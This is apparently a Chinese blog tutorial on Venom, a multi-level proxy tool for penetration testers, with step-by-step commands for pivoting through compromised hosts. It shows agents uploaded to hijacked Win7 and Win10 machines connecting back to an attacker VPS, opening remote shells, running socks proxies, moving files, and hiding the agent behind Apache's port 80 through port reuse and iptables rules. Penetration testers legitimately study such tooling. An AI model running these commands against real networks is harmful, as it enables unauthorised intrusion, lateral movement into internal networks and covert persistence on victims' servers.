【渗透工具】内网多级代理工具Venom详细使用教程

免责申明

本公众号的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!

简介

Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。

Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。

渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。

使用

使用案例

最终效果需要在kali上运行服务端,在win7上建立第一个节点,在win10上建立第二个节点,如有多级代理一次类推

venmo文件目录

VPS以本地kali为例,执行命令,获取相关命令帮助

./admin_linux_x64 

在这里插入图片描述

Venom version: 1.1

Usage:
        $ ./venom_admin -lport [port]
        $ ./venom_admin -rhost [ip] -rport [port]

Options:
  -lport port
        Listen a local port.  //设置监听端口
  -passwd password
        The password used in encrypted communication. (optional)  //设置密码
  -rhost ip
        Remote ip address.  //连接端口
  -rport port
        The port on remote host.  //连接地址

创建一级节点

在kali 服务器上执行:

./admin_linux_x64 -lport 12138 -passwd xiaoc

在这里插入图片描述

实际环境中通过获取win7的权限,将venom的agent 工具上传到win7
执行如下命令:

admin.exe -rhost VPS_ip -rport 12138 -passwd xiaoc

admin节点和agent节点均可监听连接也可发起连接

admin监听端口,agent发起连接:

./admin_linux_x64 -lport 9999  -passwd xiaoc
./agent_linux_x64 -rhost 192.168.0.103 -rport 9999 -passwd xiaoc

agent监听端口,admin发起连接:

./agent_linux_x64 -lport 8888  -passwd xiaoc
./admin_linux_x64 -rhost 192.168.204.139 -rport 8888  -passwd xiaoc

执行完命令后,第一个节点上线,可以使用show获取当前拓扑
在这里插入图片描述
获取节点后支持的命令如下:

  help                                     Help information.
  exit                                     Exit.
  show                                     Display network topology.
  getdes                                   View description of the target node.
  setdes     [info]                        Add a description to the target node.
  goto       [id]                          Select id as the target node.
  listen     [lport]                       Listen on a port on the target node.
  connect    [rhost] [rport]               Connect to a new node through the target node.
  sshconnect [user@ip:port] [dport]        Connect to a new node through ssh tunnel.
  shell                                    Start an interactive shell on the target node.
  upload     [local_file]  [remote_file]   Upload files to the target node.
  download   [remote_file]  [local_file]   Download files from the target node.
  socks      [lport]                       Start a socks5 server.
  lforward   [lhost] [sport] [dport]       Forward a local sport to a remote dport.
  rforward   [rhost] [sport] [dport]       Forward a remote sport to a local dport.

在这里插入图片描述

例如使用shell命令
使用goto 1进入第一个节点,使用shell执行ipconfig命令
在这里插入图片描述
在实际攻防中会经常用到socks代理,例如
在这里插入图片描述
设置socke代理成功后可通过在浏览器配置代理或者配置proxychains4工具访问其他端口服务

创建第二个节点

创建好第一个节点后,通过渗透获取第二节点的win10服务器权限

在kali端进入第一个节点

监听8787端口

listen 8787

在这里插入图片描述

将agent工具上传到win10服务器,执行命令

agent.exe -rhost 10.168.2.20 -rport 8787 -passwd xiaoc

在这里插入图片描述
第二个节点上线成功
在这里插入图片描述
在这里插入图片描述

agent节点支持端口复用

agent提供了两种端口复用方法

  1. 通过SO_REUSEPORT和SO_REUSEADDR选项进行端口复用
  2. 通过iptables进行端口复用(仅支持Linux平台)

通过venom提供的端口复用功能,在windows上可以复用apache、mysql等服务的端口,暂时无法复用RDP、IIS等服务端口,在linux上可以复用多数服务端口。被复用的端口仍可正常对外提供其原有服务。

第一种端口复用方法

# 以windows下apache为例
# 复用apache 80端口,不影响apache提供正常的http服务
# -lhost 的值为本机ip,不能写0.0.0.0,否则无法进行端口复用
./agent.exe -lhost 192.168.204.139 -reuse-port 80
./admin_macos_x64 -rhost 192.168.204.139 -rport 80

第二种端口复用方法

# 以linux下apache为例
# 需要root权限
sudo ./agent_linux_x64 -lport 8080 -reuse-port 80

这种端口复用方法会在本机设置iptables规则,将reuse-port的流量转发到lport,再由agent分发流量

需要注意一点,如果通过sigterm,sigint信号结束程序(kill或ctrl-c),程序可以自动清理iptables规则。如果agent被kill -9杀掉则无法自动清理iptables规则,需要手动清理,因为agent程序无法处理sigkill信号。

为了避免iptables规则不能自动被清理导致渗透测试者无法访问80端口服务,所以第二种端口复用方法采用了iptables -m recent通过特殊的tcp包控制iptables转发规则是否开启。

这里的实现参考了 https://threathunter.org/topic/594545184ea5b2f5516e2033

# 启动agent在linux主机上设置的iptables规则
# 如果rhost在内网,可以使用socks5代理脚本流量,socks5代理的使用见下文
python scripts/port_reuse.py --start --rhost 192.168.204.135 --rport 80

# 连接agent节点
./admin_macos_x64 -rhost 192.168.204.135 -rport 80

# 如果要关闭转发规则
python scripts/port_reuse.py --stop --rhost 192.168.204.135 --rport 80

节点间通信加密

Venom提供节点间通信加密功能,用户可通过-passwd选项指定密码,该密码用于生成AES加密所需的密钥。

# 通过-passwd指定密码为dlive@dubhe
./admin_macos_x64 -lport 8889 -passwd dlive@dubhe

# agent指定相同的密码与admin节点连接
./agent_macos_x64 -rhost 192.168.0.103 -rport 8889 -passwd dlive@dubhe

下载链接

关注公众号回复“20240628”获取下载链接

关注公众号

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值